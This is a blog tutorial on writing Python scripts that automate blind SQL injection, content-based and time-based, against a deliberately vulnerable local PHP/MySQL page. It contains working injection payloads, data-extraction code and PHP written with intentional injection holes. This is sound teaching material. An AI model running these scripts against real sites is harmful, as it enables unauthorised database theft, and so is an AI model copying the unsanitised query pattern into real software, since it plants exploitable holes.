We all know that sqlmap is a really great tool which has a lot of options that you can tweak and adjust to exploit the SQLi vuln you just found (or that sqlmap found for you). On rare occasions however you might want to just have a small and simple script or you just want to learn how to do it yourself. So let’s see how you could write your own script to exploit a blind SQLi vulnerability. Just to make sure we are all on the same page, here is the blind SQLi definition from OWASP:
Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the applications response.
You can also roughly divide the exploiting techniques in two categories (like owasp does) namely:
- content based
- The page output tells you if the query was successful or not
- time based
- Based on a time delay you can determine if your query was successful or not
Of course you have dozens of variations on the above two techniques, I wrote about one such variation a while ago. For this script we are going to just focus on the basics of the mentioned techniques, if you are more interested in knowing how to find SQLi vulnerabilities you could read my article on Solving RogueCoder’s SQLi challenge. Since we are only focusing on automating a blind sql injection, we will not be building functionality to find SQL injections.
Before we even think about sending SQL queries to the servers, let’s first setup the vulnerable environment and try to be a bit realistic about it. Normally this means that you at least have to login, keep your session and then inject. In some cases you might even have to take into account CSRF tokens which depending on the implementation, means you have to parse some HTML before you can send the request. This will however be out of scope for this blog entry. If you want to know how you could parse HTML with python you could take a look at my credential scavenger entry.
If you just want the scripts you can find them in the example_bsqli_scripts repository on my github, since this is an entry on how you could write your own scripts all the values are hard coded in the script.
The vulnerable environment
Since we are doing this for learning purposes anyways, let’s create almost everything from scratch:
- sudo apt-get install mysql-server mysql-client
- sudo apt-get install php5-mysql
- sudo apt-get install apache2 libapache2-mod-php5
Now let’s write some vulnerable code and abuse the mysql database and it’s tables for our vulnerable script, which saves us the trouble of creating a test database.
pwnme-plain.php
<?php $username = "root"; $password = "root"; $link = mysql_connect('localhost',$username,$password); if(!$link){ die(mysql_error()); } if(!mysql_select_db("mysql",$link)){ die(mysql_error()); } $result = mysql_query("select user,host from user where user='" . $_GET['name'] . "'",$link); echo "<html><body>"; if(mysql_num_rows($result) > 0){ echo "User exists<br/>"; }else{ echo "User does not exist<br/>"; } if($_GET['debug'] === "1"){ while ($row = mysql_fetch_assoc($result)){ echo $row['user'] . ":" . $row['host'] . "<br/>"; } } echo "</html></body>"; mysql_free_result($result); mysql_close($link); ?>
Like you can see if you give it a valid username it will say the user exists and if you don’t give it a valid username it will tell you the user doesn’t exist. If you need more information you can append a debug flag to get actual output. You probably also spotted the SQL injection which you can for example exploit like this:
http://localhost/pwnme-plain.php?name=x' union select 1,2--+
Which results in the output:
User exists
and if you mess up the query or the query doesn’t return any row it will result in:
User does not exist
Sending and receiving data
We are going to use the python package requests for this. If you haven’t heard it yet, it makes working with http stuff even easier than urllib2. If you happen to encounter weird errors with the requests library you might want to install the library yourself instead of using the one provided by your distro.
To make a request using GET and getting the page content you’d use:
print requests.get("http://localhost/pwnme-plain.php").text
If you want to pass in parameters you’d do it like:
urlparams = {'name':'root'}
print requests.get("http://localhost/pwnme-plain.php",parameters=urlparams).text
Which ensures that the parameters are automatically encoded.
To make a request using POST you’d use:
postdata = {'user':'webuser','pass':'webpass'}
print requests.post("http://localhost/pwnme-login.php",data=postdata).text
That’s all you need to start sending your SQLi payload and receiving the response.
Content based automation
For content based automation you basically need a query which will change the content based on the output of the query. You can do this in a lot of ways, here are two example:
- display or don’t display content
- id=1 and 1=if(substring((select @@version),1,1)=5,1,2)
- display content based on the query output
- id=1 + substring((select @@version),1,1)
For our automation script we will choose the first way of automating it, since it depends less on the available content. The first thing you need is a “universal” query which you use as the base to execute all your other queries. In our case this could be:
root’ and 1=if(({PLACEHOLDER})=PLACEHOLDERVAR,1,2)–+
With the above query we can decide what we want to display. If you want display the wrong content we have to replace the PLACEHOLDER text and PLACEHOLDERVAR with something that will make the ‘if clause’ to choose ‘2’, for example:
root’ and 1=if(substring((select @@version),1,1)=20,1,2)–+
Since there is no mysql version 20 this will lead to a query that ends up being evaluated as:
root’ and 1=2
Which results in a False result, thus displaying the wrong content, in our case ‘User does not exist’. If on the other hand we want the query to display the good content we can just change it to:
root’ and 1=if(substring((select @@version),1,1)=5,1,2)–+
Which of course will end up as:
root’ and 1=1
Thus resulting in True and displaying the good content ‘User exists’. When writing your own automation script you have to somehow strike the balance between a quick and dirty script to get you the desired result and a somewhat reusable script. For this blog entry we are going to hard code several things into the script (since we are not really reusing them), one of them being the base query. The first function in our script is thus a function that sends the query to the server and checks for the good content, this can be as simple as:
BASE_URL = "http://localhost/pwnme-plain.php" SUCCESS_TEXT = "user exists" URL_PARAMS = {'name':None} def get_query_result(data): global URL_PARAMS URL_PARAMS['name'] = data pagecontent = requests.get(BASE_URL, params=URL_PARAMS).text if SUCCESS_TEXT in pagecontent.lower(): return True else: return False
At this point we know how to send data to the server and we know our base query, the next thing we need, is something to determine the result of our query. One of the basic building block can be the substring function as you’ve seen in the code snippets before. The easy way is then to compare every byte with a range of bytes to see if it matches. We however are going to choose a slightly more difficult solution and use a binary search, since it’s way faster than trying each possible byte. If you are not familiar with a binary search read up on it here. So the bulk of our script is contained in the following function:
BASE_QUERY = "root' and 1=if(({}){}{},1,2)-- " def binsearch(query,sl,sh): searchlow = sl searchhigh = sh searchmid = 0 while True: searchmid = (searchlow + searchhigh) / 2 if get_query_result(BASE_QUERY.format(query, "=", searchmid)): break elif get_query_result(BASE_QUERY.format(query, ">", searchmid)): searchlow = searchmid + 1 elif get_query_result(BASE_QUERY.format(query, "<", searchmid)): searchhigh = searchmid return searchmid
The only thing left to do now is to carefully choose our ‘wrapper’ functions that will receive our desired SQL statement to be executed within the injection:
def querylength(query): return binsearch("length(({}))".format(query),0,100) def execquery(query): fulltext = "" qlen = querylength(query) + 1 print "Retrieving {} bytes".format(qlen-1) for i in range(1,qlen): sys.stdout.write(chr(binsearch("ord(substring(({}),{},1))".format(query,i),0,127))) print ""
Since we chose a base query that only handles numbers in it’s comparison it will work fine for a SQL query which returns a number. If the query however returns a character we need to wrap that query with ord() to make sure it also only returns numbers. If you put this all together and fix it to accept the query as a parameter then your script input/output will look like this:
./ebs-content.py “select @@version”
Retrieving 23 bytes
5.5.38-0ubuntu0.12.04.1
That’s it for automating a blind SQL injection using a content based technique. You could also use fuzzy hashing with a reasonable threshold instead of hard coding the good content response.
Time based automation
The concept for time based exploitation is basically the same as for content based, except that you rely on time discrepancies to determine the TRUE/FALSE portion of your query result. Since it’s time based it automatically means it will also be slower than content based, thus forcing us to be as efficient as possible. For this we are going to make sure that every request counts by reading out a byte on a bit by bit basis. This is one of the more common techniques and it more or less guarantees that you can ready any bytes with eight connections. It can of course still fail if the connection or the server becomes unstable for some reason and forces you to repeat the request. The essence of the technique consists of testing each bit to see if it’s 1 or 0 and based on the answer rebuild the byte. There are a lot of different ways to do this, we are going to choose the following one:
select if(substring(bin(ascii(substring((select @@version),1,1))),sleep(10),0)=TRUE,3,4)
Like you can see, the query tests a specific bit and returns the result. Depending if it’s 1 (TRUE) or 0 (FALSE) we either sleep for a period of time or we return immediately. That wasn’t so hard now was it? You can now just walk through the eight bits and check if they are set or not. Except it won’t work, check this out:
mysql> select bin(substring((select @@version),1,1));
+—————————————-+
| bin(substring((select @@version),1,1)) |
+—————————————-+
| 101 |
+—————————————-+
1 row in set (0.00 sec)
Hmmm shouldn’t the result be a full byte? Seems like the output is truncated by the bin() function. MySQL provides a function to fix it known as lpad(), let’s try that again:
mysql> select lpad(bin(substring((select @@version),1,1)),8,’0′);
+—————————————————-+
| lpad(bin(substring((select @@version),1,1)),8,’0′) |
+—————————————————-+
| 00000101 |
+—————————————————-+
1 row in set (0.00 sec)
Now that looks much better since it actually has 8 bits. So after this little hick up let’s focus on the needed function, for example we need a function to measure what the time is to execute a normal query. How else would we determine how long the sleep() delay should be? After all we don’t want to wait weeks for the output of a single character. The function looks like this:
def get_timing(): times = list() print "Calculating average times" for i in range(10): URL_PARAMS['name'] = 'root' r = requests.get(BASE_URL,params=URL_PARAMS) times.append(r.elapsed.seconds) time.sleep(randint(1,3)) print r.elapsed.seconds print "Average: %s" % (sum(times) / len(times)) return (sum(times) / len(times))
We could improve the function by also keeping track of the slowest response, but for now this will do. Have you noticed anything interesting? The requests library takes care of measuring the request timing, without it we’d had to wrap the request in our own time measuring function. You might be wondering why I have a random delay after each request, for some odd reason I thought that could help to make the measurement more realistic, not sure if it actually works so feel free to remove it. We also need to convert the sleep() delay into meaningful bits and eventually a full byte, we’ll do that with the following function:
def getbyte(query): bytestring = "" for i in range(1,9): if get_query_result(BASE_QUERY.format(query,i)): bytestring += "1" else: bytestring += "0" return int(bytestring,2)
That looks pretty doable right, eventually you’ll end up with a string of bits (eight total) which you then convert to a byte. The last function that we need is the one that performs the request and determines if the bit was set or not, which looks like this:
def get_query_result(data): global URL_PARAMS reqtime = 0 URL_PARAMS['name'] = data r = requests.get(BASE_URL, params=URL_PARAMS) reqtime = r.elapsed.seconds pagecontent = r.text if reqtime > BASE_TIME: return True else: return False
You might notice that I used the ‘r.elapsed.seconds’, if you want more precision you could combine it with ‘r.elapsed.microseconds’. Basically that’s it, you can then reuse most of the ‘content based automation’ the only big changes are the queries and some for loops, here’s the basic query:
BASE_QUERY = “root’ and 1=if(substring({},{},1)=TRUE,sleep(1),2)– ”
The most important part of the base query is to get the timing right, since it should be slower than the base request but not so slow as to take an eternity to complete. To get the output length of let’s say “select @@version” you’d use a function like this:
def querylength(query): return getbyte("lpad(bin(length(({}))),8,'0')".format(query))
and to get the actual content of “select @@version” you’d use a function like this:
def execquery(query): fulltext = "" qlen = querylength(query) + 1 print "Retrieving {} bytes".format(qlen-1) for i in range(1,qlen): sys.stdout.write(chr(getbyte("lpad(bin(ascii(substring(({}),{},1))),8,'0')".format(query,i)))) sys.stdout.flush() print ""
This is it for the time based automation, like you can see it’s really similar to the content based automation except that you determine the True/False response based on time instead of basing it on some content that is returned by the page.
Wrapping automation with login support
Since we are using the requests library this is pretty easy, all you need to do is wrap the original request in a Session object. The rest of the complicated session handling is performed by the requests library, you can even find the example on their website. First however let’s upgrade our PHP script with some kind of login logic:
pwnme-login.php
<?php /* DiabloHorn https://diablohorn.wordpress.com */ $username = "root"; $password = "root"; $link = mysql_connect('localhost',$username,$password); if(!$link){ die(mysql_error()); } if(!mysql_select_db("mysql",$link)){ die(mysql_error()); } session_start(); if($_SERVER["REQUEST_METHOD"] == "POST"){ if($_POST['user'] === "webuser" && $_POST['pass'] === "webpass"){ $_SESSION['login'] = "ok"; echo "login OK"; } } if($_SESSION['login'] === "ok"){ $result = mysql_query("select user,host from user where user='" . $_GET['name'] . "'",$link); echo "<html><body>"; if(mysql_num_rows($result) > 0){ echo "User exists<br/>"; }else{ echo "User does not exist<br/>"; } if($_GET['debug'] === "1"){ while ($row = mysql_fetch_assoc($result)){ echo $row['user'] . ":" . $row['host'] . "<br/>"; } } echo "</html></body>"; mysql_free_result($result); }else{ echo "please login first"; } mysql_close($link); ?>
if you used the previous scripts that we made, they won’t work on the above PHP, since we need to login or in other words we need to send the received session id back to the server. So let’s add that to our script:
URL_SESSION = requests.Session() def do_login(): global URL_SESSION postdata = {'user':'webuser','pass':'webpass'} #we assume the login will work print URL_SESSION.post("http://localhost/pwnme-login.php",data=postdata).text
The only thing you have to do now is to make sure that the “get_query_result()” function uses the URL_SESSION object instead of the “requests” object and don’t forget to actually call the do_login() function before calling the execquery() function.
Conclusion
Hope you enjoyed this blog entry and that you found it useful to know how to write your own blind SQLi automation scripts. You will probably almost never need them since sqlmap is pretty versatile, but I’ve found myself in situations where I needed my own quick and dirty scripts to get the job done. You could always build upon these scripts and implement a CSRF capable script yourself.
References